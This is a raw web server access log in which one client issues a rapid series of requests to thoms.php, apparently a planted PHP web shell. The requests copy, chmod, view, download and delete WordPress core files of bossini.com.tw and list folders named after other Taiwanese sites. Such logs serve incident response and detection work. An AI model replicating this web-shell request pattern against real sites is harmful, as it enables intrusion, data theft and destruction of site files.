45.135.193.11 - - [11/Sep/2026:23:26:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22103 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p=ba-guo.com-20260912023525 HTTP/1.1" 200 11500 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p=beauty-dental.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p=biotaiwan.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p=bioway88.com.tw HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p=bestjudy.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p=bft.com.tw HTTP/1.1" 200 11440 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:51 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p=cgi-bin HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p=wp-content HTTP/1.1" 200 11439 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p=bfl.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p=bossini.com.tw HTTP/1.1" 200 11442 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p=wp-content-20260912023544 HTTP/1.1" 200 11373 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p=booking-wise2.com.tw HTTP/1.1" 200 11432 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p=ba-guo.com.tw HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p=bestzyx.com.tw HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p=broadweb.com.tw HTTP/1.1" 200 11443 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-content&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11407 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-content&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:52 -0400] "GET /thoms.php?chmod=template-loader.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=template-loader.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:52 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Fbuild HTTP/1.1" 200 13686 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Fbuild" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:52 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-parser.php HTTP/1.1" 200 15839 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-block-parser.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:52 -0400] "GET /thoms.php?chmod=class-wp-block.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:52 -0400] "GET /thoms.php?chmod=class-wp-http.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-email-service.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11904 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-email-service.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:53 -0400] "GET /thoms.php?chmod=class.wp-scripts.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=class.wp-scripts.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:53 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=feed-rss.php HTTP/1.1" 200 12531 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=feed-rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:53 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fabilities-api.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11867 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fabilities-api.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:52 -0400] "GET /thoms.php?dl=class-wp-user-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:53 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-walker-page-dropdown.php HTTP/1.1" 200 13095 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-walker-page-dropdown.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:53 -0400] "GET /bossini.com.tw/wp-includes/ms-default-filters.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:53 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fms-site.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fms-site.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:53 -0400] "GET /thoms.php?del=class-wp-metadata-lazyloader.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?del=class-wp-metadata-lazyloader.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:53 -0400] "GET /thoms.php?dl=class-wp-tax-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=class-wp-tax-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:53 -0400] "GET /thoms.php?dl=formatting.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=formatting.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:54 -0400] "GET /thoms.php?chmod=sitemaps.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=sitemaps.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:54 -0400] "GET /thoms.php?chmod=embed-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=embed-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:54 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=https-migration.php HTTP/1.1" 200 13660 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=https-migration.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:54 -0400] "GET /thoms.php?del=sodium_compat&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=sodium_compat&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:54 -0400] "GET /thoms.php?del=class-walker-page.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59136 "http://163.245.207.76:443/thoms.php?del=class-walker-page.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:54 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fms-deprecated.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fms-deprecated.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:54 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-comment-query.php HTTP/1.1" 200 25427 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-comment-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:55 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-connector-registry.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11899 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-connector-registry.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:54 -0400] "GET /thoms.php?del=block-editor.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59155 "http://163.245.207.76:443/thoms.php?del=block-editor.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:55 -0400] "GET /thoms.php?chmod=default-filters.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=default-filters.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:55 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=option.php HTTP/1.1" 200 37249 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=option.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:55 -0400] "GET /thoms.php?del=class-wp.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59185 "http://163.245.207.76:443/thoms.php?del=class-wp.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:55 -0400] "GET /thoms.php?dl=theme-previews.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?dl=theme-previews.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:55 -0400] "GET /thoms.php?del=capabilities.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=capabilities.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:55 -0400] "GET /thoms.php?dl=class-avif-info.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59097 "http://163.245.207.76:443/thoms.php?dl=class-avif-info.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:55 -0400] "GET /bossini.com.tw/wp-includes/class-wp-http-streams.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:55 -0400] "GET /thoms.php?dl=class-wp-date-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=class-wp-date-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:56 -0400] "GET /bossini.com.tw/wp-includes/class-wp-icon-collections-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:56 -0400] "GET /thoms.php?chmod=class-wp-user-request.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-request.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:56 -0400] "GET /thoms.php?chmod=error-protection.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=error-protection.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:56 -0400] "GET /thoms.php?chmod=feed-atom-comments.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=feed-atom-comments.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:56 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:56 -0400] "GET /thoms.php?chmod=class-wp-theme-json-data.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-data.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:56 -0400] "GET /thoms.php?dl=class-wp-block-type.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59153 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-type.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:56 -0400] "GET /thoms.php?dl=class-wp-post.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59180 "http://163.245.207.76:443/thoms.php?dl=class-wp-post.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:56 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fjson-schema.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fjson-schema.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:56 -0400] "GET /thoms.php?dl=class-wp-widget.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59168 "http://163.245.207.76:443/thoms.php?dl=class-wp-widget.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:57 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=template-loader.php HTTP/1.1" 200 13682 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=template-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:57 -0400] "GET /thoms.php?chmod=class-http.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=class-http.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:57 -0400] "GET /thoms.php?del=speculative-loading.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?del=speculative-loading.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:57 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-user-query.php HTTP/1.1" 200 24010 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-user-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:57 -0400] "GET /thoms.php?chmod=session.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=session.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:57 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fphp-compat&p= HTTP/1.1" 200 12329 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fphp-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:57 -0400] "GET /thoms.php?del=comment-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=comment-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:57 -0400] "GET /thoms.php?dl=ms-default-constants.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59158 "http://163.245.207.76:443/thoms.php?dl=ms-default-constants.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:26:57 -0400] "GET /thoms.php?del=session.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59060 "http://163.245.207.76:443/thoms.php?del=session.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
